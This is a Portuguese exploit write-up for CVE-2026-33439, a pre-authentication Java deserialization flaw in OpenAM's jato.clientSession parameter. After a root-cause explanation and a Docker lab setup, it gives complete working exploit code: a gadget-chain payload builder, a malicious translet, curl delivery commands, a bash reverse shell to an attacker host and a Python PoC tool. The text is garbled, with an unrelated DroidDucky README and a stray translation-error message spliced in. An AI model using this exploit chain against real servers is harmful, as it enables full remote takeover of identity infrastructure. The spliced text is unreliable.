Primeira implementação de exploit divulgada publicamente para CVE-2026-33439 (RCE pré-autenticação no OpenAM via desserialização de jato.clientSession).
Percepção humana + análise assistida por IA + engenharia reversa + advisory → exploit
Primeira implementação de exploit compartilhada publicamente para CVE-2026-33439
Vulnerabilidade de desserialização Java não autenticada no ForgeRock OpenAM permitindo execução remota completa de código via objetos de sessão JATO manipulados. O mesmo rio flui duas vezes: corrigiram o jato.pageSession (CVE-2021-35464) e esqueceram o jato.clientSession (CVE-2026-33439). Uma cadeia de gadgets de desserialização não pede credenciais.
CVE-2026-33439 é uma vulnerabilidade de Execução Remota de Código pré-autenticação no OpenIdentityPlatform OpenAM (versões anteriores a 16.0.6). A vulnerabilidade decorre da desserialização Java insegura do parâmetro HTTP jato.clientSession dentro de ClientSession.deserializeAttributes(), que chama Encoder.deserialize() → ApplicationObjectInputStream.readObject() sem nenhuma whitelist de classes aplicada.
Um atacante não autenticado envia uma solicitação HTTP GET ou POST manipulada contendo um objeto Java serializado para qualquer endpoint JATO ViewBean cujo JSP renderize tags <jato:form>. Ao recebê-la, o servidor desserializa o objeto sem validação, acionando uma cadeia de gadgets construída inteiramente com classes empacotadas no WAR do OpenAM - sem necessidade de bibliotecas externas - e executando comandos arbitrários do SO como o usuário do processo da aplicação.
Vetor CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Crítico
Vetor CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Crítico
Esta vulnerabilidade é uma regressão direta da correção incompleta aplicada após o CVE-2021-35464.
CVE-2021-35464 (ForgeRock AM / OpenAM): RCE pré-autenticação via desserialização insegura do parâmetro jato.pageSession. Amplamente explorado em ambientes reais; listado na CISA KEV. A correção introduziu WhitelistObjectInputStream dentro de ConsoleViewBeanBase.deserializePageAttributes() - uma subclasse personalizada de ObjectInputStream que verifica cada nome de classe contra uma allowlist fixa de ~40 classes seguras antes de instanciá-la.
CVE-2026-33439 (OpenAM ≤ 16.0.5): A correção foi aplicada apenas ao jato.pageSession. O parâmetro jato.clientSession - tratado por um caminho de código completamente separado em ClientSession.deserializeAttributes() - nunca foi corrigido e ainda usa Encoder.deserialize() → ApplicationObjectInputStream sem filtro, que chama ObjectInputStream.readObject() sem whitelist de classes.
A primitiva de ataque é a mesma. O sink de desserialização é diferente. Apenas o nome do parâmetro mudou.
O JATO serializa o estado da visão da interface para parâmetros HTTP chamados jato.pageSession e jato.clientSession. Quando uma solicitação chega, o OpenAM desserializa esses parâmetros para restaurar o estado da interface antes de renderizar a resposta. Os dois parâmetros seguem caminhos de código completamente diferentes.
O caminho de código corrigido (pós-CVE-2021-35464) para jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();
O caminho de código não corrigido para jato.clientSession (vulnerável):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
Encoder.deserialize() constrói um simples - uma subclasse de sem filtragem de classes. Qualquer classe no classpath da JVM pode ser instanciada. A desserialização é acionada durante a renderização de JSP sempre que uma tag é renderizada:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
---
<div id="vulnerability_affected"/>
### ***Versões Afetadas***
| Produto | Vulnerável | Corrigido |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (downstream) | Potencialmente afetado dependendo da linhagem do patch | - |
---
<div id="vulnerability_attacksurface"/>
### ***Superfície de Ataque***
Qualquer endpoint JATO ViewBean cujo JSP contenha uma tag *< jato:form >* é explorável antes da autenticação:
| Endpoint | Propósito |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | Redefinição de senha - entrada de identidade do usuário |
| /ui/PWResetQuestion | Redefinição de senha - perguntas de segurança |
Os endpoints de redefinição de senha são o alvo principal; são publicamente acessíveis por design e têm garantia de renderizar tags *< jato:form >*.
---
---
---
<div id="gadgetchain"/>
## ***⚙️ A Cadeia de Gadgets***
<div id="gadgetchain_deserialization101"/>
### ***Desserialização Java 101***
Quando o Java desserializa um objeto a partir de um fluxo de bytes, ele chama readObject() em cada classe que reconstrói, incluindo objetos aninhados. Se um atacante controla o fluxo de bytes e injeta um objeto cujo readObject() aciona uma cadeia de chamadas de método que termina em execução de código, ele obtém RCE por cadeia de gadgets.
O ponto-chave do CVE-2026-33439: a cadeia de gadgets não requer bibliotecas externas. Cada classe da cadeia está empacotada dentro do próprio WAR do OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodes-2.3.0.jar`. <u>Isso torna a vulnerabilidade explorável em qualquer implantação padrão do OpenAM.</u>
---
<div id="gadgetchain_encoding"/>
### ***Encoder.decodeHttp64***
Este é o detalhe crítico que faz o exploit funcionar. A classe `Encoder` em `jato-shaded-16.0.5.jar` usa o codificador/decodificador base64 seguro para URL do Java - não o base64 padrão, e não um esquema de substituição de caracteres personalizado.
Verificado ao descompilar Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
Transforme seu dispositivo Android em um Ducky via adb
Droidducky é um simples script Python que "converte" seu dispositivo Android e um cabo OTG em um Rubber Ducky.
Vídeo do projeto: https://www.youtube.com/watch?v=nfNe5yKifvE
Primeiro você precisa configurar seu payload (apenas um) dentro do arquivo duckyscript.txt (verifique o repositório DuckyScript para saber mais sobre DuckyScript).
Uma vez que seu payload estiver pronto, conecte um dispositivo Android usando adb.
Então você pode executar o DroidDucky usando a seguinte sintaxe:
root@kali:~# python DroidDucky.py
[+] DroidDucky v1.00 by MrUn1k0d3r & RingZer0 Team
[+] Checking for device
List of devices attached
XYZ123456789 device
[+] Device found running update
[+] Removing previous payload if exist
[+] Pushing payload DroidDucky/duckyscript.txt to /sdcard/
83 KB/s (361 bytes in 0.004s)
[+] Pushing payload DroidDucky/run.sh /sdcard/
30 KB/s (10 bytes in 0.000s)
[+] Running the payload
[+] Waiting for just a second
[+] Payload has been executed cleaning up
[+] Done...
O payload é executado bruto, nada é feito nele, portanto, se você precisar de qualquer atraso, seu payload deve contê-lo.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
O base64 seguro para URL usa '-' em vez de '+' e '_' em vez de '/', sem preenchimento '='. A codificação correta é:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
Qualquer outra codificação, incluindo base64 padrão ou substituição manual de caracteres, fará com que decodeHttp64() lance uma exceção ou produza bytes corrompidos, abortando silenciosamente a desserialização sem nenhum erro na resposta HTTP.
A cadeia completa, usando apenas classes do OpenAM WAR:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)
- Containerd
- CRI‑O
- containerd+gvisor (runsc)```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
Detalhe crítico: "Column$ColumnComparator.compare()" chama "column.getTable().isSortedAscending()" antes de chamar "getProperty()". Se "getTable()" retornar null, a cadeia é abortada com "NullPointerException" antes de chegar a "TemplatesImpl". Um objeto "Table" deve ser associado ao "Column" via "column.setTable(table)" antes da serialização.
┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘
| Container | Image | Role |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Alvo vulnerável |
| cve_2026_33439_attacker | debian:bookworm-slim | Máquina de ataque |
> O laboratório usa o WAR oficial do OpenAM 16.0.5 implantado no Tomcat 10.1.52 com Java 21 - o ambiente exato descrito no GitHub Security Advisory.
---
<div id="lab_setup"/>
### ***Configuração***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>
**Passo 1 - Baixe o WAR oficial do OpenAM 16.0.5**```powershell
# From PowerShell on the host
cd "01 Vulnerable"
Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
Passo 2 - Iniciar os contêineres```powershell docker compose up -d
**Passo 3 - Configurar o OpenAM a partir do navegador**
Navegue até "http://localhost:8080/openam", clique em "Create Default Configuration" e defina:
| Campo | Valor |
|----------------------------------|---------------|
| Senha do usuário padrão (amadmin) | Lab@dm1n2026! |
| Senha do agente | secret12 |
Aguarde cerca de 2 minutos para a configuração ser concluída.
**Passo 4 - Confirmar que a redefinição de senha está habilitada**
Faça login como amadmin → Configurar → Serviços Globais → Redefinição de Senha → ative o botão de alternância → Salvar Alterações.
**Passo 5 - Identificar os endpoints JSP exploráveis**
Encontre todos os JSPs no WAR que contenham tags *< jato:form >*, esses são os endpoints onde a desserialização de jato.clientSession é acionada:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
Inspecione o código-fonte do JSP para entender por que jato.clientSession pode não aparecer no HTML renderizado. A tag <jato:form> está envolvida dentro de <jato:content name="resetPage">, que só é renderizada quando o ViewBean ativa esse bloco. No entanto, <jato:useViewBean> no topo do JSP sempre instancia o ViewBean e processa jato.clientSession antes de decidir quais blocos renderizar - a desserialização ocorre nesse ponto, independentemente:```powershell
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
I'm unable to translate this chunk because the input content after "INPUT:" is empty. There is no source text provided to translate. Please provide the actual Markdown content for chunk 27.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
<%-- Only renders if ViewBean activates this block --%>
<jato:content name="resetPage">
<jato:form name="PWResetUserValidation" method="post">
<%-- jato.clientSession hidden field appears here --%>
</jato:form>
</jato:content>
</jato:useViewBean>
Passo 6 - Verifique se o endpoint está acessível antes da autenticação```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
---
<div id="lab_access"/>
### ***Acesso***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash
Desmontagem:```powershell
docker compose down
docker compose down -v
---
---
---
<div id="exploitation"/>
## ***💣 Exploração***
<div id="exploitation_prerequisites"/>
### ***Pré-requisitos***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>
| Requisito | Observações |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac) | Deve corresponder à versão da JVM em execução no OpenAM. Apenas JRE não é suficiente; javac é necessário para compilar EvilTranslet e PayloadBuilder |
| openam-core-16.0.5.jar | Copiado do contêiner OpenAM - contém Column, Column$ColumnComparator, PropertyUtils |
| xalan-2.7.3.jar | Copiado do contêiner OpenAM - contém TemplatesImpl, TransformerFactoryImpl |
| serializer-2.7.3.jar | Copiado do contêiner OpenAM - contém SerializationHandler usado por EvilTranslet |
| click-nodeps-2.3.0.jar | Copiado do contêiner OpenAM - contém Table (necessário para Column$ColumnComparator) |
| click-extras-2.3.0.jar | Copiado do contêiner OpenAM - dependência transitiva de click-nodeps |
| jato-shaded-16.0.5.jar | Copiado do contêiner OpenAM - contém Encoder com decodeHttp64 |
| servlet-api.jar | Copiado de lib/ do Tomcat - Jakarta Servlet API necessária para serialização de Table |
| Python 3.8+ | Para o script PoC |
| requests | pip install requests |
---
<div id="exploitation_discovery"/>
### ***Descoberta e Reconhecimento***
**Etapa 1 - Confirme que o OpenAM está em execução e identifique a versão**```
http://localhost:8080/openam/ccversion/Version
Passo 2 - Sondar endpoints do JATO ViewBean```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
echo "[HTTP ${STATUS}] ${ENDPOINT}"
done
**Passo 3 - Confirmar que jato.clientSession é processado**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
A resposta conterá "jato.defaultCommand" e "jato.pageSession", mas não "jato.clientSession" no HTML renderizado; isso é um comportamento esperado. O campo "jato.clientSession" aparece apenas dentro de < jato:content name="resetPage" >, que exige que o ViewBean ative esse bloco. No entanto, < jato:useViewBean > sempre instancia o ViewBean e processa "jato.clientSession" antes de decidir quais blocos renderizar. A desserialização é acionada no momento da instanciação, independentemente de o campo aparecer na saída HTML final. A presença de "jato.pageSession" na resposta confirma que a serialização JATO está ativa nesse endpoint e que "jato.clientSession" será desserializado na próxima requisição.
Antes de construir o exploit, a codificação usada por "Encoder.decodeHttp64()" deve ser verificada descompilando o JAR do JATO. Essa etapa é essencial: usar a codificação errada causa falha silenciosa de desserialização.
Etapa 1 - Copie todos os JARs necessários do OpenAM para o workspace do atacante
Do PowerShell no host:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/
**Passo 2 - Decompilar o Encoder para verificar o método de decodificação**
De dentro do contêiner do atacante:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
Saída esperada confirmando base64 URL-safe:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
**Passo 3 - Decompilar Column$ColumnComparator para verificar o caminho da cadeia de gadgets**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
Isto confirma que Column.getTable() deve retornar um objeto Table não nulo, caso contrário compare() lança NullPointerException antes de chegar a getProperty() → TemplatesImpl.
Todos os comandos a partir do contêiner do atacante.
Passo 1 - Definir o classpath```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
**Passo 2 - Escreva e compile EvilTranslet.java**
EvilTranslet estende AbstractTranslet (exigido por TemplatesImpl) e executa o comando no inicializador estático, que é executado automaticamente em newInstance().```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
javac -cp $CP /work/EvilTranslet.java
Passo 3 - Escreva e compile PayloadBuilder.java
PayloadBuilder constrói a cadeia de gadgets e gera o payload serializado codificado em base64 URL-safe.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;
public class PayloadBuilder {
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}
static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
static void setFieldPQ(Object obj, String name, Object value) throws Exception {
Field f = PriorityQueue.class.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
// Step 1 - TemplatesImpl with EvilTranslet bytecode
// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
// Step 3 - PriorityQueue as deserialization trigger
// readObject() -> heapify() -> siftDown() -> comparator.compare()
// Size must be >= 2 for heapify to call compare()
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
setFieldPQ(queue, "queue", new Object[]{ templates, templates });
setFieldPQ(queue, "size", 2);
// Step 4 - Serialize and URL-safe base64 encode
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
System.out.println(encodeHttp64(baos.toByteArray()));
}
} EOF
javac -cp $CP /work/PayloadBuilder.java
**Passo 4 - Gerar o payload**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64
Confirme o RCE com um callback HTTP fora de banda
Terminal 1 - Listener:``` docker exec -it cve_2026_33439_attacker bash
nc -lvnp 9999
Terminal 2 - Gerar e enviar payload de callback:```
docker exec -it cve_2026_33439_attacker bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
PAYLOAD=$(cat /work/payload_http.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Se o RCE estiver funcionando, o Terminal 1 recebe uma conexão HTTP de entrada do servidor OpenAM:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /
**Escrever um artefato de arquivo**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
PAYLOAD=$(cat /work/payload_file.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
Verifique a partir do PowerShell:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned
**Shell reversa**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>
Terminal 1 - Ouvinte:```
docker exec -it cve_2026_33439_attacker bash
nc -lvnp 4444
Terminal 2 - Entregar:``` docker exec -it cve_2026_33439_attacker bash
CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
B64CMD=$(echo "$CMD" | base64 -w 0)
cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
PAYLOAD=$(cat /work/payload_shell.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
---
<div id="exploitation_poc"/>
### ***Uso da Ferramenta PoC***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>
O script Python automatiza toda a cadeia: compila o EvilTranslet, constrói a cadeia de gadgets via PayloadBuilder, codifica com base64 URL-safe e entrega.```bash
# Copy JARs to the exploit directory first
[attacker@lab /work]$
touch Exploit_CVE_2026_33439.py
vi Exploit_CVE_2026_33439.py
python3 Exploit_CVE_2026_33439.py --help
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
Entrada do National Vulnerability Database para o CVE-2026-33439.
Aviso oficial com análise da causa raiz, código afetado e detalhes da cadeia de gadgets.
A vulnerabilidade ancestral que introduziu o WhitelistObjectInputStream para jato.pageSession.
Pesquisa original sobre o CVE-2021-35464 abordando o mecanismo de desserialização do JATO.
Entrada MITRE CWE que descreve a classe de vulnerabilidade.